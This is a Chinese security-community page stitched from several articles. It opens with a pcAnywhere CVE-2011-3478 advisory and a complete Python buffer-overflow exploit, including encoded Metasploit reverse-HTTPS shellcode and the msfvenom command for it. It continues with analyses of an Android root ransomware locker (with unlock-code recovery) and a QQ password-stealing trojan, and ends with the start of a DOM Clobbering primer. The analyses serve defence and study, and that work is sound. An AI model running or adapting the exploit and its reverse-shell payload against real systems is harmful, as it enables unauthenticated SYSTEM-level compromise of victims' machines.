12.6.x)
影响平台:
windows x86
# – Windows 2000
# – Windows 2003 Server
# – Windows 2008 Server
# – Windows XP
# – Windows Vista
# – Windows 7
漏洞描述:
awhost32.exe在处理连接进来的请求时,存在一个漏洞,当处理认证请求时,没有对客户的输入进行长度检查,导致远程非认证的攻击者能够利用此漏洞执行任意代码,默认权限是"NT
AUTHORITYSYSTEM"
限制：
1、只能X86平台
2、要求能输入帐号密码
3、无须认证码
POC代码:
[https://www.exploit-db.com/exploits/38599/](https://www.exploit-db.com/exploits/38599/)
#!/usr/bin/python
################################################################
# Exploit Title: Symantec pcAnywhere v12.5.0 Windows x86 RCE
# Date: 2015-10-31
# Exploit Author: Tomislav Paskalev
# Vendor Homepage: https://www.symantec.com/
# Software Link: http://esdownload.symantec.com/akdlm/CD/MTV/pcAnywhere_12_5_MarketingTrialware.exe
# Version: Symantec pcAnywhere v12.5.0 Build 442 (Trial)
# Vulnerable Software:
# Symantec pcAnywhere 12.5.x through 12.5.3
# Symantec IT Management Suite pcAnywhere Solution 7.0 (aka 12.5.x) and 7.1 (aka 12.6.x)
# Tested on:
# Symantec pcAnywhere v12.5.0 Build 442 (Trial)
# -------------------------------------------- # Microsoft Windows Vista Ultimate SP1 x86 EN
# Microsoft Windows Vista Ultimate SP2 x86 EN
# Microsoft Windows 2008 Enterprise SP2 x86 EN
# Microsoft Windows 7 Professional SP1 x86 EN
# Microsoft Windows 7 Ultimate SP1 x86 EN
# CVE ID: 2011-3478
# OSVDB-ID: 78532
################################################################
# Vulnerability description:
# The application's module used for handling incoming connections
# (awhost32.exe) contains a flaw. When handling authentication
# requests, the vulnerable process copies user provided input
# to a fixed length buffer without performing a length check.
# A remote unauthenticated attacker can exploit this vulnerability
# to cause a buffer overflow and execute arbitrary code in the
# context of the exploited application (installed as a service
# by default, i.e. with "NT AUTHORITYSYSTEM" privileges).
################################################################
# Target application notes:
# - the application processes one login attempt at a time
# (i.e. multiple parallel login requests are not possible)
# - available modules (interesting exploit wise):
# Name | Rebase | SafeSEH | ASLR | NXCompat | OS Dll
# ------------------------------------------------------------- # awhost32.exe | False | False | False | False | False
# ijl20.dll | False | False | False | False | False
# IMPLODE.DLL | False | False | False | False | False
# ------------------------------------------------------------- # - supported Windows x86 operating systems (pcAnywhere v12.5)
# - Windows 2000
# - Windows 2003 Server
# - Windows 2008 Server
# - Windows XP
# - Windows Vista
# - Windows 7
################################################################
# Exploit notes:
# - bad characters: "x00"
# - Windows Vista, Windows 2008 Server, Windows 7
# - after a shellcode execution event occurs, the
# application does not crash and remains fully functional
# - one successful shellcode execution event has a low
# success rate (applies to all OSes)
# - in order to achieve an overall more reliable exploit,
# multiple shellcode executions need to be performed
# (until the shellcode is successfully executed)
# - brute force is a feasible method
# - multiple parallel brute force attacks are not possible
# - multiple valid offsets are available (i.e. not just the
# ones tested)
################################################################
# Test notes:
# - all tested OSes
# - clean default installations
# - all OS specific statistics referenced in the exploit are
# based on the test results of 10 attempts per tested offset
# - all attempts were performed after a system reboot (VM)
# - the provided test results should be taken only as a rough guide
# - in practice it might occur that the number of attempts
# needed to achieve successful exploitation is (much)
# higher than the maximum value contained in the test
# results, or that the exploit does not succeed at all
# - other (untested) offsets might provide better results
# - not letting the OS and application load fully/properly before
# starting the exploit may lead to failed exploitation (this
# observation was made during the testing of the exploit and
# applies mostly to Windows 7)
################################################################
# Patch:
# https://support.symantec.com/en_US/article.TECH179526.html
# https://support.norton.com/sp/en/us/home/current/solutions/v78694006_EndUserProfile_en_us
################################################################
# Thanks to:
# Tal zeltzer (discovered the vulnerability)
# S2 Crew (Python PoC)
################################################################
# In memoriam:
# msfpayload | msfencode [2005 - 2015]
################################################################
# References:
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3478
# http://www.zerodayinitiative.com/advisories/ZDI-12-018/
# https://www.exploit-db.com/exploits/19407/
################################################################
import socket
import time
import struct
import string
import sys
################################
### HARDCODED TARGET INFO ###
################################
# target server info
# >>> MODIFY THIS >>>
targetServer = "192.168.80.227"
targetPort = 5631
# Supported operating systems
vistaUltSP1 = {
'Version': 'Microsoft Windows Vista Ultimate SP1 x86 EN',
'Offset': 0x03e60000,
'PasswordStringLength': 3500,
'TestAttempts': [8, 62, 35, 13, 8, 7, 11, 23, 8, 10]
};
vistaUltSP2 = {
'Version': 'Microsoft Windows Vista Ultimate SP2 x86 EN',
'Offset': 0x03e60000,
'PasswordStringLength': 3500,
'TestAttempts': [16, 27, 13, 17, 4, 13, 7, 9, 5, 16]
};
s2k8EntSP2 = {
'Version': 'Microsoft Windows 2008 Enterprise SP2 x86 EN',
'Offset': 0x03dd0000,
'PasswordStringLength': 3500,
'TestAttempts': [25, 5, 14, 18, 66, 7, 8, 4, 4, 24]
};
sevenProSP1 = {
'Version': 'Microsoft Windows 7 Professional SP1 x86 EN',
'Offset': 0x03a70000,
'PasswordStringLength': 3500,
'TestAttempts': [188, 65, 25, 191, 268, 61, 127, 136, 18, 98]
};
sevenUltSP1 = {
'Version': 'Microsoft Windows 7 Ultimate SP1 x86 EN',
'Offset': 0x03fa0000,
'PasswordStringLength': 3500,
'TestAttempts': [23, 49, 98, 28, 4, 31, 4, 42, 50, 42]
};
# target server OS
# >>> MODIFY THIS >>>
#OSdictionary = vistaUltSP1
#OSdictionary = vistaUltSP2
#OSdictionary = s2k8EntSP2
#OSdictionary = sevenProSP1
OSdictionary = sevenUltSP1
# timeout values
shellcodeExecutionTimeout = 30
# client-server handshake
initialisationSequence = "x00x00x00x00"
handshakeSequence = "x0dx06xfe"
# username string
usernameString = "U" * 175
# shellcode
# available shellcode space: 1289 bytes
# shellcode generated with Metasploit Framework Version: 4.11.4-2015090201 (Kali 2.0)
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=192.168.80.223 LPORT=443 EXITFUNC=seh -e x86/shikata_ga_nai -b 'x00' -f python -v shellcode
# >>> MODIFY THIS >>>
shellcode = ""
shellcode += "xdaxd3xd9x74x24xf4xbfx2cx46x39x97x5d"
shellcode += "x33xc9xb1x87x83xedxfcx31x7dx14x03x7d"
shellcode += "x38xa4xccx6bxa8xaax2fx94x28xcbxa6x71"
shellcode += "x19xcbxddxf2x09xfbx96x57xa5x70xfax43"
shellcode += "x3exf4xd3x64xf7xb3x05x4ax08xefx76xcd"
shellcode += "x8axf2xaax2dxb3x3cxbfx2cxf4x21x32x7c"
shellcode += "xadx2exe1x91xdax7bx3ax19x90x6ax3axfe"
shellcode += "x60x8cx6bx51xfbxd7xabx53x28x6cxe2x4b"
shellcode += "x2dx49xbcxe0x85x25x3fx21xd4xc6xecx0c"
shellcode += "xd9x34xecx49xddxa6x9bxa3x1ex5ax9cx77"
shellcode += "x5dx80x29x6cxc5x43x89x48xf4x80x4cx1a"
shellcode += "xfax6dx1ax44x1ex73xcfxfex1axf8xeexd0"
shellcode += "xabxbaxd4xf4xf0x19x74xacx5cxcfx89xae"
shellcode += "x3fxb0x2fxa4xadxa5x5dxe7xb9x57x3bx6c"
shellcode += "x39xc0xb4xe5x57x79x6fx9exebx0exa9x59"
shellcode += "x0cx25x84xbexa1x95xb4x13x16x72x01xc2"
shellcode += "xe1x25x8ax3fx42x79x1fxc3x37x2exb7x78"
shellcode += "xb6xd0x47x97x86xd1x47x67xd9x84x3fx54"
shellcode += "x6ex11x95xaax3ax37x6fxa8xf7xbexf8x1d"
shellcode += "x4cx16x73x50x25xc2x0cxa6x91xc1xb0x8b"
shellcode += "x53x69x76x22xd9x46x0ax1axbcxeax87xf9"
shellcode += "x09xb2x10xcfx14x3cxd0x56xb3xc8xbaxe0"
shellcode += "x69x5ax3axa2xffxf0xf2x73x92x4bx79x10"
shellcode += "x02x3fx4fxdcx8fxdbxe7x4fx6dx1dxa9x1d"
shellcode += "x42x0cx70x80xccxe9xe5x0ax55x80x8axc2"
shellcode += "x3dx2ax2fxa5xe2xf1xfex7dx2ax86x6bx08"
shellcode += "x27x33x2axbbxbfxf9xd9x7ax7dx87x4fx10"
shellcode += "xedx0dx1bxadx88xc6xb8x50x07x6ax74xf1"
shellcode += "xd3x2dxd9x84x4exc0x8ex25x23x76x60xc9"
shellcode += "xb4xd9xf5x64x0ex8exa6x22x05x39x3fx98"
shellcode += "x96x8excax4fx79x54x64x26x33x3dxe7xaa"
shellcode += "xa2xb1x90x59x4bx74x1axcexf9x0axc6xd8"
shellcode += "xccx99x49x75x47x33x0ex1cxd5xf9xdexad"
shellcode += "xa3x8cx1ex02x3bx38x96x3dx7dx39x7dxc8"
shellcode += "x47x95x16xcbx75xfax63x98x2axa9x3cx4c"
shellcode += "x9ax25x28x27x0cx8dx51x1dxc6x9bxa7xc1"
shellcode += "x8exdbx8bxfdx4ex55x0bx97x4ax35xa6x77"
shellcode += "x04xddx43xcex36x9bx53x1bx15xf7xf8xf7"
shellcode += "xcfx9fxd3xf1xf7x24xd3x2bx82x1bx5exdc"
shellcode += "xc3xeex78x34x90x10x7bxc5x4cx51x13xc5"
shellcode += "x80x51xe3xadxa0x51xa3x2dxf3x39x7bx8a"
shellcode += "xa0x5cx84x07xd5xccx28x21x3exa5xa6x31"
shellcode += "xe0x4ax37x61xb6x22x25x13xbfx51xb6xce"
shellcode += "x3ax55x3dx3excfx51xbfx03x4ax9dxcax66"
shellcode += "x0cxddx6ax81xdbx1ex6bxaex12xd8xa6x7f"
shellcode += "x65x2cxffx51xbdx60xd1x9fx8fxb3x2dx5b"
shellcode += "x11xbdx1fx71x87xc2x0cx7ax82xa9xb2x47"
################################
### BUFFER OVERFLOW ###
### STRING CONSTRUCTION ###
################################
# Calculate address values based on the OS offset
pointerLocationAddress = OSdictionary['Offset'] + 0x00005ad8
pointerForECXplus8Address = OSdictionary['Offset'] + 0x00005ad4
breakPointAddress = OSdictionary['Offset'] + 0x000065af - 0x00010000
# jump over the next 38 bytes (to the begining of the shellcode)
jumpToShellcode = "xebx26x90x90"
# pointerLocationAddress - the memory address location of the "pointerForECXplus8" variable
pointerLocation = struct.pack('<L', pointerLocationAddress)
# CALL ESI from the application module ijl20.dll [aslr=false,rebase=false,safeseh=false]
callESI = struct.pack('<L', 0x67f7ab23)
# pointerForECXplus8Address - the memory address location of the start of the DDDD string in the shellcode (Offset + 0x00005acc + 0x8)
pointerForECXplus8 = struct.pack('<L', pointerForECXplus8Address)
# construct the password string which will cause a buffer overflow condition and exploit the vulnerability
passwordString = (
"A" * 945 +
jumpToShellcode +
pointerLocation +
"D" * 4 +
pointerForECXplus8 +
callESI +
"x90" * 20 +
shellcode +
"I" * (1289 - len(shellcode)) +
"xaa" * (OSdictionary['PasswordStringLength'] - 945 - 4 * 5 - 20 - 1289)
)
################################
### FUNCTIONS ###
################################
# calculate and return the median value of the argument list
def calculateMedian(targetList):
sortedTargetList = sorted(targetList)
targetListLength = len(targetList)
medianIndex = (targetListLength - 1) / 2
if (targetListLength % 2):
return sortedTargetList[medianIndex]
else:
return ((sortedTargetList[medianIndex] + sortedTargetList[medianIndex + 1]) / 2)
# print an indented line with a type prefix
def printLine(infoType, indentDepth, textToDisplay):
# [I]nformational
if infoType == "I":
print (' ' * indentDepth),
print "33[1;37m[*]33[1;m", textToDisplay
# [E]rror
elif infoType == "E":
print (' ' * indentDepth),
print "33[1;31m[-]33[1;m", textToDisplay
# [S]uccess
elif infoType == "S":
print (' ' * indentDepth),
print "33[1;32m[+]33[1;m", textToDisplay
# [W]arning
elif infoType == "W":
print (' ' * indentDepth),
print "33[1;33m[!]33[1;m", textToDisplay
# [N]one
elif infoType == "N":
print (' ' * indentDepth),
print textToDisplay
# print the banner - general exploit info, target info, target OS statistics
def printBanner():
printLine ("I", 0, "Symantec pcAnywhere v12.5.0 Build 442 Login+Password field")
printLine ("N", 1, "Buffer Overflow Remote Code Execution exploit (CVE-2011-3478)")
printLine ("I", 1, "by Tomislav Paskalev")
printLine ("I", 0, "Target server information")
printLine ("I", 1, "IP address : " + targetServer)
printLine ("I", 1, "Port : " + str(targetPort))
printLine ("I", 0, "Exploit target information")
printLine ("I", 1, "Target OS : " + OSdictionary['Version'])
printLine ("I", 2, "Offset : " + "{:#010x}".format(OSdictionary['Offset']))
printLine ("I", 2, "Breakpoint (test) : " + "{:#010x}".format(breakPointAddress))
printLine ("I", 2, "Password length : " + str(OSdictionary['PasswordStringLength']))
printLine ("I", 2, "Test result stats")
printLine ("I", 3, "Test count : " + str(len(OSdictionary['TestAttempts'])))
printLine ("I", 3, "Reliability : " + str(((len(OSdictionary['TestAttempts']) - OSdictionary['TestAttempts'].count(0)) * 100) / len(OSdictionary['TestAttempts'])) + "%")
printLine ("I", 3, "Min attempt : " + str(min([element for element in OSdictionary['TestAttempts'] if element > 0])))
printLine ("I", 3, "Max attempt : " + str(max(OSdictionary['TestAttempts'])))
printLine ("I", 3, "Avg attempt : " + str(sum(OSdictionary['TestAttempts']) / len(OSdictionary['TestAttempts'])))
printLine ("I", 3, "Median attempt: " + str(calculateMedian(OSdictionary['TestAttempts'])))
# connect to the server and return the socket
def connectToServer(server, port):
# create socket
targetSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
targetSocket.connect((server, port))
except socket.error as msg:
if "[Errno 111] Connection refused" in str(msg):
return None
# return the opened socket
return targetSocket
# send the data to the server and return the response
def sendDataToServer(destSocket, dataToSend):
destSocket.send(dataToSend)
try:
receivedData = destSocket.recv(1024)
except socket.error as msg:
if "[Errno 104] Connection reset by peer" in str(msg):
return None
return receivedData
# run the exploit; exits when finished or interrupted
def runExploit():
printLine ("I", 0, "Starting exploit...")
attemptCounter = 0
# brute force the service until the shellcode is successfully executed
while True:
# connect to the target server
openSocket = connectToServer(targetServer, targetPort)
attemptCounter += 1
sleepTimer = 0
printLine ("I", 1, "Attempt no. " + str(attemptCounter))
printLine ("I", 2, "Sending initialisation sequence...")
# send the data; check outcome
while True:
receivedData = sendDataToServer(openSocket, initialisationSequence)
# check if server responded properly, if yes exit the loop
if receivedData:
if "Please press <Enter>..." in receivedData:
break
# exit if the service is unavailable
if attemptCounter == 1:
printLine ("E", 3, "Service unavailable")
printLine ("I", 4, "Exiting...")
exit(1)
# check if shellcode executed (based on a timer)
if sleepTimer > shellcodeExecutionTimeout:
print ""
printLine ("S", 4, "Shellcode executed after " + str(attemptCounter - 1) + " attempts")
printLine ("I", 5, "Exiting...")
exit(1)
# print waiting ticks
sys.stdout.write('r')
sys.stdout.write(" 33[1;33m[!]33[1;m Connection reset - reinitialising%s" % ('.' * sleepTimer))
sys.stdout.flush()
# sleep one second and reconnect
time.sleep(1)
sleepTimer += 1
openSocket.close()
openSocket = connectToServer(targetServer, targetPort)
if sleepTimer > 0:
print ""
printLine ("I", 2, "Sending handshake sequence...")
openSocket.send(handshakeSequence)
time.sleep(3)
data = openSocket.recv(1024)
printLine ("I", 2, "Sending username...")
openSocket.send(usernameString)
time.sleep(3)
printLine ("I", 2, "Sending password...")
openSocket.send(passwordString)
openSocket.close()
time.sleep(3)
# main function
if __name__ == "__main__":
printBanner()
try:
runExploit()
except KeyboardInterrupt:
print ""
sys.exit()
# End of file
截图: | 社区文章 |
# “荒野行动盒子”Root锁屏勒索样本分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：0xgg@四叶草
> 这是一篇非反病毒工程师的非专业分析，写完发现更像逆向教程，文中如果有疏漏，欢迎批评指正。
## 0x00 前言
最近在吾爱破解论坛病毒救援区看到一个锁机样本，说是root锁，虽然帖子好几天了但还没人分析，楼主应该线刷系统了，打算就以这个练练手吧。很久也没分析锁屏App了，之前有个王者荣耀辅助的样本，不过没root锁，想看看最近勒索App有什么新花样。话说，现在恶意软件都喜欢蹭热度，什么游戏流行就伪装什么外挂。
## 0x01 信息收集
先安装样本到模拟器里看看（模拟器万一搞坏了，大不了卸载重新安装），安装完成后会有一个“荒野行动盒子”的图标,运行后发现App申请Root权限，（很多外挂都需要Root权限，勒索软件以外挂为名倒是很容易让人放松警惕）:
这里点击“永久记住选择“，然后点击”允许“，看看勒索软件搞什么鬼。发现这个勒索App还做了一个外挂界面：
等一会模拟器自动重启了。重启完成后，发现如愿以偿，模拟器被锁了，锁屏界面如下（锁屏界面忒丑了）：
随便输入“123456“，点击”解锁“发现没有反应，点击高亮的”解锁20元“，发现有提示：
意思是点100次就会解锁，这种都是调戏人的。要是可以免费解锁，那还怎么勒索那20块钱？
## 0x02 反编译分析
接下来祭出神器jadx反编译分析，反编译后发现资源里面的结构有点不一样：
正常情况下，apk反编译后应该是下面这种结构：
原来res目录下的drawable、layout等资源全部被混淆了。打开r下的0文件发现其实就是编译后的layout文件：
这个样本其实是使用了MT管理器的”RES资源混淆“功能。（MT管理器是一个可以在安卓手机上修改apk文件、反编译dex、修改smali、修改xml、重打包的App，功能很强大）。
代码的入口是MainActivity：
代码简洁的不得了，LogCatBroadcaster看着很眼熟吧，进去看看代码：
这就是AIDE的特征（AIDE是一款可以在安卓手机上编写安卓App的开发工具，分析过勒索App的应该都很熟悉了） 。
再来看看e.busybox函数,发现代码混淆了，那还是使用JEB接着分析吧，分析完混淆函数，然后重命名一下，看着还不是很清楚：
尤其是下面一大堆的StringBuffer：
先把函数拷贝出来，精简掉StringBuffer，代码清晰多了：
这部分代码功能很清晰：复制libjiagu.so到App私有目录的a/k.bat文件中，再复制lib2jiagu.so到App私有目录的a/libStarEngine.so文件中，然后解密k.bat得到key.bat文件，再获取key.bat文件的包名保存到e.packageName中，这里可以看出来key.bat（即libjiagu.so文件）是一个apk文件。继续看下面代码：
接着执行“ls data“命令，安卓App中要执行系统命令，必须申请root权限，代码执行到这里就需要申请root权限。不过这里执行这个命令没起到什么作用。
这里根据安卓系统版本分别进行处理，如果小于5.0，先把key.bat释放到/system/app/并改名为time.apk,然后释放libStarEngine.so到/system/lib/libStarEngine.so，
判断是否安装了com.example.xphuluxia,如果安装了就卸载，最后重启手机，安装激活勒索App。补充一下，com.example.xphuluxia是一个名为防锁侠的App，据说可以查杀锁屏勒索App，个人还没测试过。
继续看后面代码：
从大段重复代码可以看出作者很擅长CVM模式（ctrl+c、ctrl+v、modify）（个人猜想写病毒维护应该很少吧）。
这里需要用到e.packageName,我们先来获取一下包名,使用命令行获取一下模拟器的当前Activity即可：
即e.packageName=”com.hl.app”。现在来分析勒索App在5.0及其以上系统时的操作：释放key.bat到/system/priv-app/com.hl.app/并改名为com.hl.app.ap；释放libStarEngine.so到 /system/priv-app/com.hl.app/lib/arm/libStarEngine.so;重启手机，系统重启后会自动安装/system/priv-app/com.hl.app/com.hl.app.apk，激活勒索App。
分析到这里，现在清楚了，这是一个字母型的勒索App，母App任务应该完成了，可以通过Manifest.xml文件再确认一下：
这里没有申请任何权限，所以母App就是个壳，已经不需要继续分析了。
## 0x03分析子包
接下来分析真正的锁屏勒索子包代码，我的模拟器系统是4.4,使用adb先导出病毒文件到电脑：
然后使用jadx反编译，这里同样是使用MT管理器做了资源混淆：
查看AndroidManifest.xml，入口还是MainActivity:
LogCatBroadcaster就不用看了，还是AIDE的特征，没什么作用。主要是启动了com.hl.app.MyApp服务。继续看看这个服务代码：
代码混淆了，那用JEB继续分析，先看看a类：
很明显这是一个DES的加密解密算法类，所以a类被重命名为a_Cryptor。再看hx1:
很明显，创建全屏的浮动窗口，遮挡其他App导致无法操作，达到锁屏效果。那么重命名为hx1_showLockView1，重命名变量、函数名称后，添加注释代码如下：
这里初始化了加密密钥，然后创建了全屏浮动窗口达到锁屏效果，继续看代码：
这里更新了a_crypt的密钥，然后生成随机数保存在lock1xlh中，设置点击响应函数，其中100000000是假的，骗人点100次的函数，最后的100000001才是真的解锁判断函数，继续看100000001的onClick代码：
Try代码块是一堆解密、转换代码，最后关键的是if语句，判断输入和随机码计算后的结果是不是相同，相同则进入第二层锁屏界面。所以，解锁密码就是这一堆代码计算后再与随机码计算的结果。这里b类代码被重命名为b_AES，set函数被重命名为set_replaceAndReverse。解密的代码就不用看了，我们写解密算法时直接copy过来用就行了，这时候就要发挥CVM模式(ctrl+c、ctrl+v、modify)的长处。
## 0x04解密第一层锁屏
接下来写计算第一层解密密码的算法，创建java工程，把100000001的onClick代码复制过来，中间需要依赖的类：
a_Cryptor、b_AES、c以及其他相关函数全部从JEB复制过来，修改错误后，把onClick函数改成getLockView1Pass，主要代码如下（记得前面有a_crypt更新密钥的相关代码，要复制过来）：
lock1xlh就是锁屏界面上的随机码，运行后你就可以得到解锁密码了。我的随机码是477042，计算后得到解锁密码：1200556544，在模拟器中输入后，点击解锁，然后进入第二层锁屏，作者还是那么嚣张，界面依然奇丑无比：
## 0x05分析第二层锁屏
接下来继续JEB分析第二层锁屏。查看hx2代码，这里改名为hx2_showLockView2:
还是一样的配方，随机码保存在lock2xlh中，创建全屏浮动窗口达到锁屏效果，解锁按钮点击响应函数是100000002，继续看代码：
代码有点乱，拷贝出来精简一下：
注释都写清楚了，关键是理解最后代码，输入的解锁码v2前3位经过sha、md5之后就应该等于“9fd09fe7fd77ab118ef78795668bc8a1”，后9位等于随机码经过md5、sha之后保留数字位的前9位。下面就可以写代码计算了。
## 0x06解密第二层锁屏
由于解锁码都是数字，前3位经过sha、md5之后就应该等于“9fd09fe7fd77ab118ef78795668bc8a1”，这个可以写代码爆破。算法很简单，如下所示：
lock2xlh就是第二层锁屏界面上的随机码，运行后你就可以得到解锁密码了。我的随机码是498691，计算后得到解锁密码：187360012293，在模拟器中输入后，点击解锁，锁屏终于解除了。
之前还有个libStarEngine.so，在app代码中并没有发现加载该库文件的代码，IDA查看也没有发现什么，经过搜索发现是一个3d引擎，在这里也没有什么实际作用。
到这里，锁屏App已经分析完了。
## 0x07总结
结合之前分析，总结一下：
1. 这是一个子母型的勒索App，母App主要完成解密、释放子病毒文件。病毒文件在0以下系统是/system/app/time.apk、 /system/lib/libStarEngine.so；5.0及其以上系统是/system/priv-app/com.hl.app/com.hl.app.apk 、/system/priv-app/com.hl.app/lib/arm/libStarEngine.so。
2. 子病毒文件被加密后放在母App中，主要目的应该是绕过杀毒软件检测,效果如何见后文。
3. 子病毒文件被释放到系统App目录中，系统双清是无法删除病毒文件的。
4. 如果手机没有root，或者没有给勒索App授予root权限，那么是不会受影响的，只要卸载该“荒野行动盒子”即可。
5. 病毒代码中虽然写了很多加密算法：AES、DES、md5、sha及字符替换等等，但还是很容易写出解密算法的。
6. 另外，这个样本中可以看到使用了AIDE、MT管理器，这两个工具可以完成病毒App的开发、修改，也就是说，你只要有个安卓手机，就可以完成病毒的制作、修改过程，可以不用PC来完成，这个变化是值得注意和警惕的。
这里我简单写了一个计算解锁码的程序，需要java环境支持，用法很简单：
java -jar unlock_hyhz.jar,然后按照提示输入屏幕解锁码即可，执行效果如下图所示：
下载地址：<https://share.weiyun.com/46ffd85b4467fa564819262cbe32df5a>
Hash校验：
CRC32: 346A9DCB
MD5: 6BC24E74AA3C80FE2C85F0ADD84F5772
SHA-1: E0D693064D2A4350A4FC4B4B700F891420ED446C
## 0x08清除
分析完了该清除文件了。启用USB调试, 执行adb shell进入shell环境。
5.0以下系统执行：
5.0及以上系统执行：
最后所有系统上需要卸载母包：
## 0x09测试一下杀毒软件
最后把样本上传到virustotal.com上看了一下，有17款杀毒软件检测出来问题：
<https://www.virustotal.com/#/file/bf3637f7ed48732404eaaf74abc6eca0a628def264a20d86fa044db04b6abce4/detection>
如果把子包直接放上去再看看，检测率还降低了：
<https://www.virustotal.com/#/file/f426e208bbb8ed720d0200b28d1969c8eeb0ebaf841e63f8258d4c3fc428af88/detection>
总体感觉，这个检测率还是偏低的。这个检测结果可能也无法代表安卓手机端的检测率。
## 0x010 后记
个人感觉，自从5月份
wannacry爆发之后，不管是PC还是安卓系统，国内勒索病毒也越来越多了。而且现在安卓手机端的病毒可以使用安卓手机App开发、修改，那么分发、传播起来会更快，变种也会更多，这些都是PC上病毒没有的特点,需要引起重视。
最后，对于普通用户来说，防范措施非常简单，只要保持良好的使用习惯即可避免被锁屏勒索：
1. 不要root手机！（除非你非常懂安全，即使被锁也能自己搞定）
2. 不要下载、安装来历不明的App！
3. 安装一个杀毒软件。
最重要的还是前两个习惯，因为“安全问题很多时候都是人的问题”。
## 0x011 附录
样本来源：<https://www.52pojie.cn/thread-672111-1-1.html> | 社区文章 |
# 【木马分析】顺藤摸瓜：一个专黑建筑行业的QQ黏虫团伙现形记
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
QQ粘虫是已经流行多年的盗号木马，它会伪装QQ登陆界面，诱骗受害者在钓鱼窗口提交账号密码。近期，360QVM引擎团队发现一支专门攻击建筑行业人群的QQ粘虫变种，它伪装为招标文档，专门在一些建筑/房产行业聊天群里传播。
由于此木马样本带有其服务器数据库信息，木马生成器和一个小有规模的幕后团伙也因此而暴露出来。
**传播途径**
根据网友举报和样本关联分析，此QQ粘虫木马主要是活跃在建筑/房产行业的聊天群中，从样本信息也可以发现，木马攻击的目标就是建筑房产从业者。
部分样本文件名：
通过网络搜索，部分文件名确实是曾经或正在进行招投标的工程，对相关从业者具有一定迷惑性。
**样本分析**
样本双击执行后会弹窗告警，显示“文件已损坏”来迷惑受害者，实际上盗号木马已经在后台默默执行。
连接Mysql
通过检测窗口类TxGuiFoundation是否存在，如果存在则弹出QQ账号异常的钓鱼窗口。
钓鱼窗口
通过Mysql语句将盗取的QQ账号、密码、IP、address、UserID插入数据库
尽管QQ粘虫木马的拦截查杀难度并不高，但是由于部分网友电脑“裸奔”或是没有使用专业安全软件，从木马程序内置的数据库账号密码访问其数据库可以看到，竟有不少网民中招，截至7月17日下午，该数据库统计的盗号数量已接近3000个：
在木马服务器数据库里，还有木马生成器的更新信息，从而可以获取到最新的木马变种下载地址。
**生成器**
**界面**
**压缩格式**
生成器支持将木马程序压缩成：R00、ZIP、TBZ、RAR、TBZ2、TAR、JAR、001、ISO、IMG
**团伙数据**
此木马生成器会根据登录的用户名来管理各自生成的木马盗取的QQ账号密码，支持删除和查看功能。从数据库中的数据来看，该木马团伙目前包括管理员在内，一共有14名成员。
**对比**
每个生成出来的木马文件都带有UserID，前面提到木马程序通过Mysql语句将盗取的QQ账号密码插入数据库，语句中api_user就对应着UserID。不同用户生成出来的木马程序唯一的不同就是UserID，每个用户通过自己的ID生成木马，并且各自管理盗取成功的账号密码。
**拦截统计**
根据360安全卫士云主防的统计，该QQ粘虫木马对广东、云南、河南、湖南、安徽等地区的用户攻击数量相对较高，用户只要开启360安全卫士即可拦截预防：
**盗号危害**
从这款伪装成“招标文档”的QQ粘虫木马来看，其大面积对建筑房产行业的QQ群进行投递传播。从文件名上来看，木马团队对投标项目做了相关的准备工作。
1\. 木马制作
2\. 木马售卖
3\. 木马伪装相关“招标文档”打包
4\. 潜伏进建筑/房产相关QQ群，上传木马到群文件/发送群邮件
5\. 管理盗取到的账号密码
之后，木马团伙很可能会验证账号清洗账号窃取资料，进行撞库攻击建立行业社工库，甚至进一步进行定向攻击黑市贩卖。
说到撞库，这种攻击方式也非常普遍。不法分子把盗取或采集的账号密码以及相关资料整理生成对应的字典表，利用它去批量登录其他网站，从而得到一系列可以登录的用户账号。
在此提醒网友，系统设置里不要勾选“隐藏已知文件类型的扩展名”，以免被文档图标的可执行程序蒙骗；如果在打开一些文件后出现了QQ重新登录的提示，应警惕这很可能是木马作祟；在聊天群共享、网盘等非可信来源下载网络资源时，应保持安全软件处于开启状态，对陌生文件进行检测，确认安全后再打开。 | 社区文章 |
前几天 PortSwigger 发布了 [Top 10 web hacking techniques of
2019](https://portswigger.net/research/top-10-web-hacking-techniques-of-2019)，榜上的攻击技术都比较有意思，p牛也肯定会在小密圈做分享的（如果没有话本菜也会在自己[博客](https://blog.zeddyu.info)做做学习分享），所以我们这里就不聊
Top 10 技术了，就看看在 Top 10 提名结果没上榜但是依旧很有意思的技术 Dom Clobbering。
## Basics
From [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction):
> The Document Object Model (DOM) is a programming interface for HTML and
> XML documents. It represents the page so that programs can change the
> document structure, style, and content. The DOM represents the document as
> nodes and objects. That way, programming languages can connect to the page.
>
> A Web page is a document. This document can be either displayed in the
> browser window or as the HTML source. But it is the same document in both
> cases. The Document Object Model (DOM) represents that same document so it
> can be manipulated. The DOM is an object-oriented representation of the web
> page, which can be modified with a scripting language such as JavaScript.
>
> The [W3C DOM](http://www.w3.org/DOM/) and [WHATWG
> DOM](https://dom.spec.whatwg.org/) standards are implemented in most modern
> browsers. Many browsers extend the standard, so care must be exercised when
> using them on the web where documents may be accessed by various browsers
> with different DOMs.
DOM 最初是在没有任何标准化的情况下诞生和实现的，这导致了许多特殊的行为，但是为了保持兼容性，很多浏览器仍然支持异常的 DOM 。
DOM 的旧版本（即DOM Level 0 & 1）仅提供了有限的通过 JavaScript
引用元素的方式，一些经常使用的元素具有专用的集合（例如`document.forms`），而其他元素可以通过`Window`和`Document`对象上的`name`属性和`id`属性来引用，
显然，支持这些引用方式会引起混淆，即使较新的规范试图解决此问题，但是为了向后兼容，大多数行为都不能轻易更改。并且，浏览器之间没有共识，因此每个浏览器可能遵循不同的规范（甚至根本没有标准）。显然，缺乏标准化意味着确保DOM的安全是一项重大挑战。
由于非标准化的 DOM 行为，浏览器有时可能会向各种 DOM 元素添加 name & id 属性，作为对文档或全局对象的属性引用，但是，这会导致覆盖掉
document原有的属性或全局变量，或者劫持一些变量的内容，而且不同的浏览器还有不同的解析方式，所以本文的内容如果没有特别标注，均默认在 **Chrome
80.0.3987.116** 版本上进行。
Dom Clobbering 就是一种将 HTML 代码注入页面中以操纵 DOM 并最终更改页面上 JavaScript 行为的技术。 在无法直接 XSS
的情况下，我们就可以往 DOM Clobbering 这方向考虑了。
## Simple Example
